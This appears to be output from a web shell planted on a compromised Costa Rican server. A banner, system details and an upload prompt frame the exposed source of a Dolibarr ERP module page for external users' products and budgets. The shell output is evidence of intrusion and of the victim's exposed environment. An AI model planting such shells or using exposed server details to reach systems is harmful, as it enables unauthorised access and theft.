Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/autogestion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/autogestion/externaluser.php
<?php
/* Copyright (C) 2012 Laurent Destailleur  <eldy@users.sourceforge.net>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *	    \file       htdocs/skincoloreditor/usercolors.php
 *      \ingroup    skincoloreditor
 *      \brief      Page to setup SkincolorEditor for user
 */

define('NOCSRFCHECK', 1);

// Load Dolibarr environment
$res=0;
// Try main.inc.php into web root known defined into CONTEXT_DOCUMENT_ROOT (not always defined)
if (! $res && ! empty($_SERVER["CONTEXT_DOCUMENT_ROOT"])) $res=@include $_SERVER["CONTEXT_DOCUMENT_ROOT"]."/main.inc.php";
// Try main.inc.php into web root detected using web root caluclated from SCRIPT_FILENAME
$tmp=empty($_SERVER['SCRIPT_FILENAME'])?'':$_SERVER['SCRIPT_FILENAME'];$tmp2=realpath(__FILE__); $i=strlen($tmp)-1; $j=strlen($tmp2)-1;
while ($i > 0 && $j > 0 && isset($tmp[$i]) && isset($tmp2[$j]) && $tmp[$i]==$tmp2[$j]) { $i--; $j--; }
if (! $res && $i > 0 && file_exists(substr($tmp, 0, ($i+1))."/main.inc.php")) $res=@include substr($tmp, 0, ($i+1))."/main.inc.php";
if (! $res && $i > 0 && file_exists(dirname(substr($tmp, 0, ($i+1)))."/main.inc.php")) $res=@include dirname(substr($tmp, 0, ($i+1)))."/main.inc.php";
// Try main.inc.php using relative path
if (! $res && file_exists("../main.inc.php")) $res=@include "../main.inc.php";
if (! $res && file_exists("../../main.inc.php")) $res=@include "../../main.inc.php";
if (! $res && file_exists("../../../main.inc.php")) $res=@include "../../../main.inc.php";
if (! $res) die("Include of main fails");


require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/contact.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';

require_once DOL_DOCUMENT_ROOT.'/custom/autogestion/class/autogestion_user.class.php';
require_once DOL_DOCUMENT_ROOT.'/custom/autogestion/class/autogestion_product.class.php';


// Load translation files required by the page
$langs->loadLangs(array('companies', 'other','categories'));

$id = GETPOST('id', 'int');
$removeelem = GETPOST('removeelem', 'int');
$action = GETPOST('action', 'aZ09');
$elemid = GETPOST('elemid', 'int');
$userid = GETPOST('userid', 'int');

// Load variable for pagination
$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit;
$sortfield = GETPOST('sortfield', 'aZ09comma');
$sortorder = GETPOST('sortorder', 'aZ09comma');
$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int');
if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) {
	$page = 0;
}     // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action
$offset = $limit * $page;
$pageprev = $page - 1;
$pagenext = $page + 1;


// Security check
if ($user->socid) {
	$socid = $user->socid;
}
$result = restrictedArea($user, 'contact', $id, 'socpeople&societe');
$agu = new AutoGestionUser($db);
$object = new Contact($db);
$form = new Form($db);

/*
 * Action
 */


if ($action == 'update' && !GETPOST("cancel") && $user->rights->societe->contact->creer) {
	$ret = $object->fetch($id);

	// Note: Correct date should be completed with location to have exact GM time of birth.
	$object->birthday = dol_mktime(0, 0, 0, GETPOST("birthdaymonth"), GETPOST("birthdayday"), GETPOST("birthdayyear"));
	$object->birthday_alert = GETPOST("birthday_alert");

	if (GETPOST('deletephoto')) {
		$object->photo = '';
	} elseif (!empty($_FILES['photo']['name'])) {
		$object->photo = dol_sanitizeFileName($_FILES['photo']['name']);
	}

	$result = $object->update_perso($id, $user);
	if ($result > 0) {
		$object->oldcopy = clone $object;

		// Logo/Photo save
		$dir = $conf->societe->dir_output.'/contact/'.get_exdir($object->id, 0, 0, 1, $object, 'contact').'/photos';

		$file_OK = is_uploaded_file($_FILES['photo']['tmp_name']);
		if ($file_OK) {
			require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php';
			require_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php';
			if (GETPOST('deletephoto')) {
				$fileimg = $conf->societe->dir_output.'/contact/'.get_exdir($object->id, 0, 0, 1, $object, 'contact').'/photos/'.$object->photo;
				$dirthumbs = $conf->societe->dir_output.'/contact/'.get_exdir($object->id, 0, 0, 1, $object, 'contact').'/photos/thumbs';
				dol_delete_file($fileimg);
				dol_delete_dir_recursive($dirthumbs);
			}

			if (image_format_supported($_FILES['photo']['name']) > 0) {
				dol_mkdir($dir);

				if (@is_dir($dir)) {
					$newfile = $dir.'/'.dol_sanitizeFileName($_FILES['photo']['name']);
					if (!dol_move_uploaded_file($_FILES['photo']['tmp_name'], $newfile, 1, 0, $_FILES['photo']['error']) > 0) {
						setEventMessages($langs->trans("ErrorFailedToSaveFile"), null, 'errors');
					} else {
						// Create thumbs
						$object->addThumbs($newfile);
					}
				}
			} else {
				setEventMessages("ErrorBadImageFormat", null, 'errors');
			}
		} else {
			switch ($_FILES['photo']['error']) {
				case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
				case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
					$errors[] = "ErrorFileSizeTooLarge";
					break;
				case 3: //uploaded file was only partially uploaded
					$errors[] = "ErrorFilePartiallyUploaded";
					break;
			}
		}
	} else {
		$error = $object->error;
	}
}


/*
 *	View
 */

$now = dol_now();

$title = (!empty($conf->global->SOCIETE_ADDRESSES_MANAGEMENT) ? $langs->trans("Contacts") : $langs->trans("ContactsAddresses"));

if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/contactnameonly/', $conf->global->MAIN_HTML_TITLE) && $object->lastname) {
	$title = $object->lastname;
}
$help_url = 'EN:Module_Third_Parties|FR:Module_Tiers|ES:Empresas';
llxHeader('', $title, $help_url);

$form = new Form($db);

$object->fetch($id, $user);
$response = $agu->fetch(null,null, ' AND fk_userid = '.$object->user_id);
if( $response <= 0 ){
	if ( $user->rights->autogestion->admin){
		$agu->fk_userid =$object->user_id ;
		$agu->fk_soc = $object->socid;
		$agu->fk_contact = $object->id;
		$agu->require_valid  = 0;
		$agu->mod_propal  = 1;
		$agu->mod_commande  = 1;
		$response = $agu->create($user);
	}
}

$head = contact_prepare_head($object);

if ($action == 'setcostcenter') {
	$agu->costcenter = GETPOST('costcenter');
	$result = $agu->update($user);
	if ($result < 0) {
		setEventMessages($agu->error, $agu->errors, 'errors');
	}
}
if ($action == 'setrequire_valid') {
	if (!empty(GETPOST('require_valid'))){
		$agu->require_valid =1;
	}else{
		$agu->require_valid =0;
	}
	$result = $agu->update($user);
	if ($result < 0) {
		setEventMessages($agu->error, $agu->errors, 'errors');
	}
}
if ($action == 'setmod_propal') {
	if (!empty(GETPOST('mod_propal'))){
		$agu->mod_propal =1;
	}else{
		$agu->mod_propal =0;
	}
	$result = $agu->update($user);
	if ($result < 0) {
		setEventMessages($agu->error, $agu->errors, 'errors');
	}
}
if ($action == 'setmod_commande') {
	if (!empty(GETPOST('mod_commande'))){
		$agu->mod_commande =1;
	}else{
		$agu->mod_commande =0;
	}
	$result = $agu->update($user);
	if ($result < 0) {
		setEventMessages($agu->error, $agu->errors, 'errors');
	}
}
if ($action == 'setbudget') {
	$agu->budget = GETPOST('budget');
	$result = $agu->update($user);
	if ($result < 0) {
		setEventMessages($agu->error, $agu->errors, 'errors');
	}
}
if ($elemid && $action == 'addintouser' && $user->rights->autogestion->admin ) {
	
	require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';
	$newobject = new Product($db);
	$elementtype = 'product';
	$result = $newobject->fetch($elemid);

	// TODO Add into user
	$agp = new AutoGestionProduct($db);
	$agp->fk_userid = $object->user_id;
	$agp->fk_product = $newobject->id;
	$result = $agp->create($user);
	if ($result >= 0) {
		setEventMessages($langs->trans("AddedSuccessfully", $newobject->ref), null, 'mesgs');
	} else {
		if ($object->error == 'DB_ERROR_RECORD_ALREADY_EXISTS') {
			setEventMessages($langs->trans("ObjectAlreadyLinked"), null, 'warnings');
		} else {
			setEventMessages($object->error, $object->errors, 'errors');
		}
	}
}

require __DIR__.'/class/Utils.php';

if ($action == 'import') {
	print Utils::uploadForm(
		$_SERVER["PHP_SELF"] . '?id=' . $object->id,
		$langs->trans('Importar Productos'),
		$langs->trans('Confirmar', $object->ref),
		'confirm_import',
		$langs->trans('SelectFileToImport')
	);

} elseif ($action == 'confirm_import') {

	try {

		if (!isset($_FILES['uploadfile'])) {
			throw new Exception($langs->trans('UploadFileError'));
		}

		$file = $_FILES['uploadfile'];

		if (!is_uploaded_file($file['tmp_name'])) {
			throw new Exception($langs->trans('UploadFileError'));
		}

		if ($file['error'] != UPLOAD_ERR_OK) {
			throw new Exception($langs->trans('UploadFileError'), $file['error']);
		}
		require __DIR__.'/lib/phpoffice/phpexcel/Classes/PHPExcel.php';

		//Supported PHPExcel File readers to ensure we deal with a Spreadsheet.
		$supported_filereaders = array(
			'CSV',
			'Excel2007',
			'Excel5',
			'OOCalc',
			'Excel2003XML'
		);

		if (!in_array(PHPExcel_IOFactory::identify($file['tmp_name']), $supported_filereaders)) {
			throw new Exception($langs->trans('UploadFileErrorUnsupportedFormat'));
		}

		try {
			$excelfd = PHPExcel_IOFactory::load($file['tmp_name']);
		} catch (PHPExcel_Reader_Exception $e) {
			throw new Exception($e->getMessage());
		}

		$activesheet = $excelfd->getActiveSheet();
		
		//Check of the format
		$a1 = $activesheet->getCell('A1')->getValue() == $langs->transnoentities('Ref');
		
		if (!$a1 ) {
        	var_dump( 'El nombre de la columna debe ser: '. $langs->transnoentities('Ref') );
			throw new Exception($langs->trans('UploadFileErrorFormat'));
		}

		require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';

		$maxrow = $activesheet->getHighestRow();

		for ($i = 2; $i <= $maxrow; $i++) {

				$ref = $activesheet->getCellByColumnAndRow(0, $i)->getValue();

				$prod = new Product($db);

				if ($prod->fetch('', $ref) <= 0) {
					setEventMessage($langs->trans('ErrorProductNotFound', $ref), 'errors');	
				}

				$agp = new AutoGestionProduct($db);
				$agp->fk_userid = $object->user_id;
				$agp->fk_product = $prod->id;
				$result = $agp->create($user);
				if ($result >= 0) {
					setEventMessages($langs->trans("AddedSuccessfully", $newobject->ref), null, 'mesgs');
				} else {
					if ($object->error == 'DB_ERROR_RECORD_ALREADY_EXISTS') {
						setEventMessages($langs->trans("ObjectAlreadyLinked"), null, 'warnings');
					} else {
						setEventMessages($object->error, $object->errors, 'errors');
					}
				}

				unset($prod);
				unset($agp);
		}

	} catch (Exception $e) {

		$message = $e->getMessage();

		setEventMessage($e->getMessage(), 'errors');

		if ($e->getCode()) {
			$message .= '. Error code: '.$e->getCode();
		}

		dol_syslog('[importorderlines] '.$message, LOG_DEBUG);

		return -1;
	}

	//Delete temporary file
	unlink($file['tmp_name']);
}

if ($userid > 0 && $removeelem > 0) {
	$agp = new AutoGestionProduct($db);
	$result = $agp->fetch(null,null,' AND fk_userid ='.$userid .' AND fk_product ='.$removeelem);
	if ($result){
    	$agp->delete($user);
    } else {
		setEventMessages($agp->error, $agp->errors, 'errors');
	}
}

print dol_get_fiche_head($head, 'tabautogestion', $title, -1, 'contact');

$linkback = '<a href="'.DOL_URL_ROOT.'/contact/list.php?restore_lastsearch_values=1">'.$langs->trans("BackToList").'</a>';

$morehtmlref = '<a href="'.DOL_URL_ROOT.'/contact/vcard.php?id='.$object->id.'" class="refid">';
$morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"');
$morehtmlref .= '</a>';

$morehtmlref .= '<div class="refidno">';
if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) {
	$objsoc = new Societe($db);
	$objsoc->fetch($object->socid);
	// Thirdparty
	$morehtmlref .= $langs->trans('ThirdParty').' : ';
	if ($objsoc->id > 0) {
		$morehtmlref .= $objsoc->getNomUrl(1);
	} else {
		$morehtmlref .= $langs->trans("ContactNotLinkedToCompany");
	}
}
$morehtmlref .= '</div>';
dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', $morehtmlref);

if ( $response > 0 ) {
	// View mode
	print '<div class="fichecenter"><div class="fichehalfleft">';
	print '<div class="underbanner clearboth"></div>';
	print '<table class="border centpercent tableforfield">';

	// Cost
	print '<tr class="nowrap">';
	print '<td >';
	print $form->editfieldkey("Centro de Costo:", 'costcenter', $agu->costcenter, $object, $user->rights->autogestion->admin);
	print '</td><td>';
	print $form->editfieldval("Costcenter", 'costcenter', $agu->costcenter, $object, $user->rights->autogestion->admin, 'string','');
	print '</td></tr>';
	
	// budget
	print '<tr class="nowrap">';
	print '<td >';
	print $form->editfieldkey("Monto Presupuesto Mensual:", 'budget', $agu->budget, $object, $user->rights->autogestion->admin);
	print '</td><td>';
	$limit_field_type = (!empty($conf->global->MAIN_USE_JQUERY_JEDITABLE)) ? 'numeric' : 'amount';
	print $form->editfieldval("Budget", 'budget', $agu->budget, $object, $user->rights->autogestion->admin, $limit_field_type, ($agu->budget != '' ? price($agu->budget) : ''));
	print '</td></tr>';

	// valid
	print '<tr class="nowrap">';
	print '<td>';
	print $form->editfieldkey("Requiere Aprobacion:", 'require_valid', $agu->require_valid, $object, $user->rights->autogestion->admin);
	print '</td><td>';
	print $form->editfieldval("require_valid", 'require_valid',  'require_valid' , $object, $user->rights->autogestion->admin,'checkbox:'.(!empty($agu->require_valid) ? 'checked':''));
	print '</td></tr>';

	// propal
	print '<tr class="nowrap">';
	print '<td>';
	print $form->editfieldkey("Habilita Modulo Presupuesto:", 'mod_propal', $agu->mod_propal, $object, $user->rights->autogestion->admin);
	print '</td><td>';
	print $form->editfieldval("mod_propal", 'mod_propal',  'mod_propal' , $object, $user->rights->autogestion->admin,'checkbox:'.(!empty($agu->mod_propal) ? 'checked':''));
	print '</td></tr>';
	
	// commande
	print '<tr class="nowrap">';
	print '<td>';
	print $form->editfieldkey("Habilita Modulo Pedidos:", 'mod_commande', $agu->mod_commande, $object, $user->rights->autogestion->admin);
	print '</td><td>';
	print $form->editfieldval("mod_commande", 'mod_commande',  'mod_commande' , $object, $user->rights->autogestion->admin,'checkbox:'.(!empty($agu->mod_commande) ? 'checked':''));
	print '</td></tr></table>';
	print '</div><div class="fichecenter">';
	print '<table class="border centpercent tableforfield">';
	print '<tr><td class="titlefield" colspan="2">Productos Asignados</td>';
	print '<td class="titlefield" colspan="2">';
	print '<div class="inline-block divButAction"><a class="butAction" href="' . $_SERVER["PHP_SELF"] . '?id=' . $object->id . '&amp;action=import">' . $langs->trans('Importar Productos') . '</a></div>';
	print '</td></tr>';
	print '<tr><td colspan="4">';

	$typeid = 'Product';
	$permission = ( $user->rights->autogestion->admin);
	$prods = $agu->getObjectsInUser( 'product', 0, $limit, $offset);

	if ($prods < 0) {
		dol_print_error($db, $object->error, $object->errors);
	} else {
		// Form to add record into a category
		$showclassifyform = 1;
		if ($showclassifyform) {
			print '<br>';
			print '<form method="post" action="'.$_SERVER["PHP_SELF"].'">';
			print '<input type="hidden" name="token" value="'.newToken().'">';
			print '<input type="hidden" name="typeid" value="'.$typeid.'">';
			print '<input type="hidden" name="type" value="'.$typeid.'">';
			print '<input type="hidden" name="id" value="'.$object->id.'">';
			print '<input type="hidden" name="action" value="addintouser">';
			print '<table class="noborder centpercent">';
			print '<tr class="liste_titre"><td>';
			print $langs->trans("ProductService").' &nbsp;';
			$form->select_produits('', 'elemid', '', 0, 0, -1, 2, '', 1);
			print '<input type="submit" class="button buttongen" value="'.$langs->trans("Add").'"></td>';
			print '</tr>';
			print '</table>';
			print '</form>';
		}

		print '<form method="post" action="'.$_SERVER["PHP_SELF"].'">';
		print '<input type="hidden" name="token" value="'.newToken().'">';
		print '<input type="hidden" name="typeid" value="'.$typeid.'">';
		print '<input type="hidden" name="type" value="'.$typeid.'">';
		print '<input type="hidden" name="id" value="'.$object->id.'">';
		print '<input type="hidden" name="action" value="list">';

		print '<br>';
		$param = '&limit='.$limit.'&id='.$object->userid.'&type=Product'; $num = count($prods); $nbtotalofrecords = ''; $newcardbutton = '';
		print_barre_liste($langs->trans("ProductsAndServices"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'products', 0, $newcardbutton, '', $limit);
		print '<table class="noborder centpercent">'."\n";
		print '<tr class="liste_titre"><td colspan="3">'.$langs->trans("Ref").'</td></tr>'."\n";

		if (count($prods) > 0) {
			$i = 0;
			foreach ($prods as $prod) {
				$i++;
				if ($i > $limit) {
					break;
				}
				print "\t".'<tr class="oddeven">'."\n";
				print '<td class="nowrap" valign="top">';
				print $prod->getNomUrl(1);
				print "</td>\n";
				print '<td class="tdtop">'.$prod->label."</td>\n";
				// Link to delete from category
				print '<td class="right">';
				if ($permission) {
					print "<a href= '".$_SERVER['PHP_SELF']."?".(empty($socid) ? 'id' : 'contactid')."=".$object->id."&amp;userid=".$object->user_id."&amp;type=".$typeid."&amp;removeelem=".$prod->id."'>";
					print $langs->trans("Delete");
					print img_picto($langs->trans("Delete"), 'unlink', '', false, 0, 0, '', 'paddingleft');
					print "</a>";
				}
				print '</td>';
				print "</tr>\n";
			}
		} else {
			print '<tr class="oddeven"><td colspan="2" class="opacitymedium">'.$langs->trans("No tiene items").'</td></tr>';
		}
		print "</table>\n";

		print '</form>'."\n";
	}
	print "</td></tr>";

	print "</table>";

	print '</div></div>';
	
	print dol_get_fiche_end();
}else{
  print '<div class="fichecenter"><div class="fichehalfleft">';
	print '<div class="underbanner clearboth"></div>';
	print '<table class="border centpercent tableforfield">';

	// Cost
	print '<tr class="nowrap">';
	print '<td >';
	print 'Usuario Externo para Compras no registrado';
	print '</td></tr></table>';
}


llxFooter();

$db->close();

Hry